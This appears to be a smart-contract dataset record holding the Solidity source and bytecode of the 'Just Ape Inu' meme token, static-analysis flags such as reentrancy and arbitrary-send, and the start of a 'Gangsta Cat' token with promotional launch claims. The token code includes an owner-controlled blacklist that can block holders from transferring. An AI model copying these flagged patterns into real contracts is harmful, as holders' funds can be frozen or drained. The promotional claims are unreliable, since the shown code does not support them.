61159761161d565b6115a284848461164b565b8061091057610910600f54600d55601054600e55565b60008060006115c5611742565b90925090506115d482826115db565b9250505090565b60006113fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611784565b600d5415801561162d5750600e54155b1561163457565b600d8054600f55600e805460105560009182905555565b60008060008060008061165d876117b2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061168f908761180f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116be9086611851565b6001600160a01b0389166000908152600260205260409020556116e0816118b0565b6116ea84836118fa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172f91815260200190565b60405180910390a3505050505050505050565b60065460009081906830ca024f987b90000061175e82826115db565b82101561177b575050600654926830ca024f987b90000092509050565b90939092509050565b600081836117a55760405162461bcd60e51b81526004016105de9190611ca9565b50600061133a8486611dbc565b60008060008060008060008060006117cf8a600d54600e5461191e565b92509250925060006117df6115b8565b905060008060006117f28e878787611973565b919e509c509a509598509396509194505050505091939550919395565b60006113fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611309565b60008061185e8385611da4565b9050838110156113fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105de565b60006118ba6115b8565b905060006118c883836119c3565b306000908152600260205260409020549091506118e59082611851565b30600090815260026020526040902055505050565b600654611907908361180f565b6006556007546119179082611851565b6007555050565b6000808080611938606461193289896119c3565b906115db565b9050600061194b60646119328a896119c3565b905060006119638261195d8b8661180f565b9061180f565b9992985090965090945050505050565b600080808061198288866119c3565b9050600061199088876119c3565b9050600061199e88886119c3565b905060006119b08261195d868661180f565b939b939a50919850919650505050505050565b6000826119d257506000610664565b60006119de8385611dde565b9050826119eb8583611dbc565b146113fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105de565b8035611a4d81611e71565b919050565b80358015158114611a4d57600080fd5b600060208284031215611a7457600080fd5b81356113fa81611e71565b600060208284031215611a9157600080fd5b81516113fa81611e71565b60008060408385031215611aaf57600080fd5b8235611aba81611e71565b91506020830135611aca81611e71565b809150509250929050565b600080600060608486031215611aea57600080fd5b8335611af581611e71565b92506020840135611b0581611e71565b929592945050506040919091013590565b60008060408385031215611b2957600080fd5b8235611b3481611e71565b9150611b4260208401611a52565b90509250929050565b60008060408385031215611b5e57600080fd5b8235611b6981611e71565b946020939093013593505050565b60006020808385031215611b8a57600080fd5b823567ffffffffffffffff80821115611ba257600080fd5b818501915085601f830112611bb657600080fd5b813581811115611bc857611bc8611e5b565b8060051b604051601f19603f83011681018181108582111715611bed57611bed611e5b565b604052828152858101935084860182860187018a1015611c0c57600080fd5b600095505b83861015611c3657611c2281611a42565b855260019590950194938601938601611c11565b5098975050505050505050565b600060208284031215611c5557600080fd5b6113fa82611a52565b600060208284031215611c7057600080fd5b5035919050565b60008060008060808587031215611c8d57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cd657858101830151858201604001528201611cba565b81811115611ce8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d835784516001600160a01b031683529383019391830191600101611d5e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611db757611db7611e2f565b500190565b600082611dd957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611df857611df8611e2f565b500290565b600082821015611e0f57611e0f611e2f565b500390565b6000600019821415611e2857611e28611e2f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461075257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f31fc9ae73fe0838f30e4ee38c2677ace992e5539fe558f88662011726f8bc064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,297 |
0x7e7a480eec577be410b1c570b3f4e910f67a8a75
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
/*
https://t.me/JustApeInu
SPDX-License-Identifier: Unlicensed
https://t.me/JustApeInu
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract JUSTAPEIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Just Ape Inu";
string private constant _symbol = "APEIN";
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(1).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(12);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f4578063cf0848f714610409578063cf9d4afa14610429578063dd62ed3e14610449578063e6ec64ec1461048f578063f2fde38b146104af57600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b4578063b515566a146103d457600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cf565b005b34801561017e57600080fd5b5060408051808201909152600c81526b4a7573742041706520496e7560a01b60208201525b6040516101b091906118c1565b60405180910390f35b3480156101c557600080fd5b506101d96101d436600461193b565b61051b565b60405190151581526020016101b0565b3480156101f557600080fd5b50678ac7230489e800005b6040519081526020016101b0565b34801561021a57600080fd5b506101d9610229366004611967565b610532565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d3660046119be565b61059b565b34801561026e57600080fd5b506101d961027d366004611a83565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611a83565b610631565b3480156102c757600080fd5b5061017061067f565b3480156102dc57600080fd5b506101d96102eb366004611a83565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611a83565b6106b9565b34801561033557600080fd5b506101706106db565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b50610170610381366004611a83565b610711565b34801561039257600080fd5b5060408051808201909152600581526420a822a4a760d91b60208201526101a3565b3480156103c057600080fd5b506101d96103cf36600461193b565b61078b565b3480156103e057600080fd5b506101706103ef3660046119be565b610798565b34801561040057600080fd5b506101706108b1565b34801561041557600080fd5b50610170610424366004611a83565b610969565b34801561043557600080fd5b50610170610444366004611a83565b6109b4565b34801561045557600080fd5b50610200610464366004611aa0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049b57600080fd5b506101706104aa366004611ad9565b610c0f565b3480156104bb57600080fd5b506101706104ca366004611a83565b610c85565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611af2565b60405180910390fd5b600061050d306106b9565b905061051881610d1d565b50565b6000610528338484610e97565b5060015b92915050565b600061053f848484610fbb565b610591843361058c85604051806060016040528060288152602001611c6d602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061137a565b610e97565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016104f990611af2565b60005b815181101561062d576000600560008484815181106105e9576105e9611b27565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611b53565b9150506105c8565b5050565b6000546001600160a01b0316331461065b5760405162461bcd60e51b81526004016104f990611af2565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062d573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052c906113b4565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104f990611af2565b61070f6000611438565b565b6000546001600160a01b0316331461073b5760405162461bcd60e51b81526004016104f990611af2565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610528338484610fbb565b6000546001600160a01b031633146107c25760405162461bcd60e51b81526004016104f990611af2565b60005b815181101561062d57600c5482516001600160a01b03909116908390839081106107f1576107f1611b27565b60200260200101516001600160a01b0316141580156108425750600b5482516001600160a01b039091169083908390811061082e5761082e611b27565b60200260200101516001600160a01b031614155b1561089f5760016005600084848151811061085f5761085f611b27565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a981611b53565b9150506107c5565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526004016104f990611af2565b600c54600160a01b900460ff1661093f5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f9565b600c805460ff60b81b1916600160b81b17905542600d8190556109649061012c611b6e565b600e55565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016104f990611af2565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016104f990611af2565b600c54600160a01b900460ff1615610a465760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f9565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac19190611b86565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611b86565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611b86565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c395760405162461bcd60e51b81526004016104f990611af2565b600f811115610c805760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f9565b600855565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016104f990611af2565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f9565b61051881611438565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6557610d65611b27565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de29190611b86565b81600181518110610df557610df5611b27565b6001600160a01b039283166020918202929092010152600b54610e1b9130911684610e97565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e54908590600090869030904290600401611ba3565b600060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610f5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b0382166110815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b600081116110e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6001600160a01b03831660009081526005602052604090205460ff161561110957600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561114b57506001600160a01b03831660009081526004602052604090205460ff16155b80156111615750600c54600160a81b900460ff16155b80156111915750600c546001600160a01b03858116911614806111915750600c546001600160a01b038481169116145b1561136857600c54600160b81b900460ff166111ef5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f9565b50600c546001906001600160a01b03858116911614801561121e5750600b546001600160a01b03848116911614155b801561122b575042600e54115b1561127257600061123b846106b9565b905061125b6064611255678ac7230489e800006001611488565b90611507565b6112658483611549565b111561127057600080fd5b505b600d544214156112a0576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112ab306106b9565b600c54909150600160b01b900460ff161580156112d65750600c546001600160a01b03868116911614155b1561136657801561136657600c5461130a9060649061125590600f90611304906001600160a01b03166106b9565b90611488565b81111561133757600c546113349060649061125590600f90611304906001600160a01b03166106b9565b90505b600061134482600c611507565b90506113508183611c14565b915061135b816115a8565b61136482610d1d565b505b505b611374848484846115d8565b50505050565b6000818484111561139e5760405162461bcd60e51b81526004016104f991906118c1565b5060006113ab8486611c14565b95945050505050565b600060065482111561141b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006114256116db565b90506114318382611507565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114975750600061052c565b60006114a38385611c2b565b9050826114b08583611c4a565b146114315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061143183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116fe565b6000806115568385611b6e565b9050838110156114315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b600c805460ff60b01b1916600160b01b1790556115c83061dead83610fbb565b50600c805460ff60b01b19169055565b80806115e6576115e661172c565b6000806000806115f587611748565b6001600160a01b038d1660009081526001602052604090205493975091955093509150611622908561178f565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116519084611549565b6001600160a01b038916600090815260016020526040902055611673816117d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116b891815260200190565b60405180910390a350505050806116d4576116d4600954600855565b5050505050565b60008060006116e861181b565b90925090506116f78282611507565b9250505090565b6000818361171f5760405162461bcd60e51b81526004016104f991906118c1565b5060006113ab8486611c4a565b60006008541161173b57600080fd5b6008805460095560009055565b60008060008060008061175d8760085461185b565b91509150600061176b6116db565b905060008061177b8a8585611888565b909b909a5094985092965092945050505050565b600061143183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137a565b60006117db6116db565b905060006117e98383611488565b306000908152600160205260409020549091506118069082611549565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118368282611507565b82101561185257505060065492678ac7230489e8000092509050565b90939092509050565b6000808061186e60646112558787611488565b9050600061187c868361178f565b96919550909350505050565b600080806118968685611488565b905060006118a48686611488565b905060006118b2838361178f565b92989297509195505050505050565b600060208083528351808285015260005b818110156118ee578581018301518582016040015282016118d2565b81811115611900576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051857600080fd5b803561193681611916565b919050565b6000806040838503121561194e57600080fd5b823561195981611916565b946020939093013593505050565b60008060006060848603121561197c57600080fd5b833561198781611916565b9250602084013561199781611916565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119d157600080fd5b823567ffffffffffffffff808211156119e957600080fd5b818501915085601f8301126119fd57600080fd5b813581811115611a0f57611a0f6119a8565b8060051b604051601f19603f83011681018181108582111715611a3457611a346119a8565b604052918252848201925083810185019188831115611a5257600080fd5b938501935b82851015611a7757611a688561192b565b84529385019392850192611a57565b98975050505050505050565b600060208284031215611a9557600080fd5b813561143181611916565b60008060408385031215611ab357600080fd5b8235611abe81611916565b91506020830135611ace81611916565b809150509250929050565b600060208284031215611aeb57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b6757611b67611b3d565b5060010190565b60008219821115611b8157611b81611b3d565b500190565b600060208284031215611b9857600080fd5b815161143181611916565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf35784516001600160a01b031683529383019391830191600101611bce565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c2657611c26611b3d565b500390565b6000816000190483118215151615611c4557611c45611b3d565b500290565b600082611c6757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f0295761a92bb857cdfca82da0b83a5085f566694f6db859d413acf5a11182864736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,298 |
0xb38095cade9bfa12160ad833fd499aee060d10fd
|
/*
Gangsta Cat ($GAT)
$GAT is the new cat on the BLOCK-chain.
Name: Gangsta Cat
Symbol: GAT
Total Supply: 1,000,000,000,000
Decimals: 9
30% Burn, 70% LP
- Developer provides LP
- No Presale
- No Team Tokens
- Locked LP
- 100% Fair Launch
- Buy Limit: 0.1% for first 5 minutes.
- Cooldown: 45 seconds to prevent multiple buying in one block.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
https://t.me/GangstaCatOfficial
https://GangstaCat.net
https://twitter.com/GangstaCatToken
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
